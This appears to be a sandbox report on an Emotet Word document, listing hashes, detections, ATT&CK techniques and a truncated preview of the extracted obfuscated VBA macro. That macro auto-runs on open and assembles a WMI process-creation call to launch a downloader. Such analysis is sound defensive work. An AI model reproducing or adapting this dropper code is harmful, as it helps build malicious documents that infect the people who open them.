Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 d6a1d2e702932301…

MALICIOUS

Office (OLE)

241.5 KB Created: 2020-09-04 15:55:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: b44c88f3a95a27511c833bdc20861091 SHA-1: 8b3a58b070840b764171e4ab1283717517e8801d SHA-256: d6a1d2e702932301249df94cd301c2dac672fb7ccdf1185b69666fc7e19f1839
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a common technique for Emotet. The macros utilize CreateObject and obfuscated PowerShell commands, indicating an intent to download and execute a secondary payload. ClamAV detection further supports the Emotet family attribution.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16109 bytes
SHA-256: ab1537a35b3767a1b3dae143afb578e4944c3afea4834d27f79ed3e373fc045f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "C0p9sdsw9z19o3"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
En57bnn70ezkre1zgk = Array(V427gfqa3n8nfkt + "Hd2kxxtduswjwjpSuveqsx2wnwsc N_9spvp_8gjxlzugp" + Ytxv1og5raykbbb, Ywld5601yo65g0hq0, Y2m4o6bcizm53ij.Wd0oukmdp_k8, Ote0ktmweom + "Divt197lzeu99lu Qs4im0rsyal43 Suobjwixijux L0ha0__0wwdkg3")
End Sub


Attribute VB_Name = "Y2m4o6bcizm53ij"
Attribute VB_Base = "0{DC936CC9-63A8-4BC8-AC7A-F2CBE1A38E18}{DF91905B-9375-4530-94F6-ADBBB3ED84F4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Wd0oukmdp_k8()
   On Error Resume Next
Set Jqnrg9r34s3 = Pn6vr8tgq9q
Select Case Jqnrg9r34s3
Case "R01o1b438oup"
Pbk2ira2a0plrvmtl2 = (UIbjsahlkdas)
Pbk2ira2a0plrvmtl2 = JHNklHS
Pbk2ira2a0plrvmtl2 = Atn(ihKLNsad)
Pbk2ira2a0plrvmtl2 = Log(323)
Case "Oqgf8gdufpipv9"
Pbk2ira2a0plrvmtl2 = 288262913
Pbk2ira2a0plrvmtl2 = u23ioyhiggukjjs
Case "Jug_89awslw7"
Pbk2ira2a0plrvmtl2 = 88383833333#
Pbk2ira2a0plrvmtl2 = (qwlhusaidbwq)
Case "Rxuus_fd2ftt0"
Pbk2ira2a0plrvmtl2 = lkqwhnekqwn
Pbk2ira2a0plrvmtl2 = Log(345345)
Pbk2ira2a0plrvmtl2 = Atn(jsghi2lklqw)
Pbk2ira2a0plrvmtl2 = smbdjlsblkhwqewqd
End Select
Bry4df220womq0_u7p = 105
   On Error Resume Next
Set Jqnrg9r34s3 = Pn6vr8tgq9q
Select Case Jqnrg9r34s3
Case "R01o1b438oup"
Pbk2ira2a0plrvmtl2 = (UIbjsahlkdas)
Pbk2ira2a0plrvmtl2 = JHNklHS
Pbk2ira2a0plrvmtl2 = Atn(ihKLNsad)
Pbk2ira2a0plrvmtl2 = Log(323)
Case "Oqgf8gdufpipv9"
Pbk2ira2a0plrvmtl2 = 288262913
Pbk2ira2a0plrvmtl2 = u23ioyhiggukjjs
Case "Jug_89awslw7"
Pbk2ira2a0plrvmtl2 = 88383833333#
Pbk2ira2a0plrvmtl2 = (qwlhusaidbwq)
Case "Rxuus_fd2ftt0"
Pbk2ira2a0plrvmtl2 = lkqwhnekqwn
Pbk2ira2a0plrvmtl2 = Log(345345)
Pbk2ira2a0plrvmtl2 = Atn(jsghi2lklqw)
Pbk2ira2a0plrvmtl2 = smbdjlsblkhwqewqd
End Select
Dqp38tiv04fd = Chr$(Bry4df220womq0_u7p + (10))
   On Error Resume Next
Set Jqnrg9r34s3 = Pn6vr8tgq9q
Select Case Jqnrg9r34s3
Case "R01o1b438oup"
Pbk2ira2a0plrvmtl2 = (UIbjsahlkdas)
Pbk2ira2a0plrvmtl2 = JHNklHS
Pbk2ira2a0plrvmtl2 = Atn(ihKLNsad)
Pbk2ira2a0plrvmtl2 = Log(323)
Case "Oqgf8gdufpipv9"
Pbk2ira2a0plrvmtl2 = 288262913
Pbk2ira2a0plrvmtl2 = u23ioyhiggukjjs
Case "Jug_89awslw7"
Pbk2ira2a0plrvmtl2 = 88383833333#
Pbk2ira2a0plrvmtl2 = (qwlhusaidbwq)
Case "Rxuus_fd2ftt0"
Pbk2ira2a0plrvmtl2 = lkqwhnekqwn
Pbk2ira2a0plrvmtl2 = Log(345345)
Pbk2ira2a0plrvmtl2 = Atn(jsghi2lklqw)
Pbk2ira2a0plrvmtl2 = smbdjlsblkhwqewqd
End Select
T7i9ghivybniocuz = "b3bb 17t2 fvhvhjb3bb 17t2 fvhvhjwb3bb 17t2 fvhvhjib3bb 17t2 fvhvhjnmb3bb 17t2 fvhvhjb3bb 17t2 fvhvhjgmb3bb 17t2 fvhvhjtb3bb 17t2 fvhvhjb3bb 17t2 fvhvhj" + Dqp38tiv04fd + "b3bb 17t2 fvhvhjb3bb 17t2 fvhvhj:b3bb 17t2 fvhvhjwb3bb 17t2 fvhvhjinb3bb 17t2 fvhvhjb3bb 17t2 fvhvhj3b3bb 17t2 fvhvhj2b3bb 17t2 fvhvhj_b3bb 17t2 fvhvhj" + Y2m4o6bcizm53ij.Sw3e_9it_mp8_b + "b3bb 17t2 fvhvhjrob3bb 17t2 fvhvhjb3bb 17t2 fvhvhjceb3bb 17t2 fvhvhjsb3bb 17t2 fvhvhjsb3bb 17t2 fvhvhj"
   On Error Resume Next
Set Jqnrg9r34s3 = Pn6vr8tgq9q
Select Case Jqnrg9r34s3
Case "R01o1b438oup"
Pbk2ira2a0plrvmtl2 = (UIbjsahlkdas)
Pbk2ira2a0plrvmtl2 = JHNklHS
Pbk2ira2a0plrvmtl2 = Atn(ihKLNsad)
Pbk2ira2a0plrvmtl2 = Log(323)
Case "Oqgf8gdufpipv9"
Pbk2ira2a0plrvmtl2 = 288262913
Pbk2ira2a0plrvmtl2 = u23ioyhiggukjjs
Case "Jug_89awslw7"
Pbk2ira2a0plrvmtl2 = 88383833333#
Pbk2ira2a0plrvmtl2 = (qwlhusaidbwq)
Case "Rxuus_fd2ftt0"
Pbk2ira2a0plrvmtl2 = lkqwhnekqwn
Pbk2ira2a0plrvmtl2 = Log(345345)
Pbk2ira2a0plrvmtl2 = Atn(jsghi2lklqw)
Pbk2ira2a0plrvmtl2 = smbdjlsblkhwqewqd
End Select
Fg3ssb9n37l07cv5 = S5xh12tsu26xvwfd(T7i9ghivybniocuz)
   On Error Resume Next
Set Jqnrg9r34s3 = Pn6vr8tgq9q
Select Case Jqnrg9r34s3
Case "R01o1b438oup"
Pbk2ira2a0plrvmtl2 = (UIbj
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.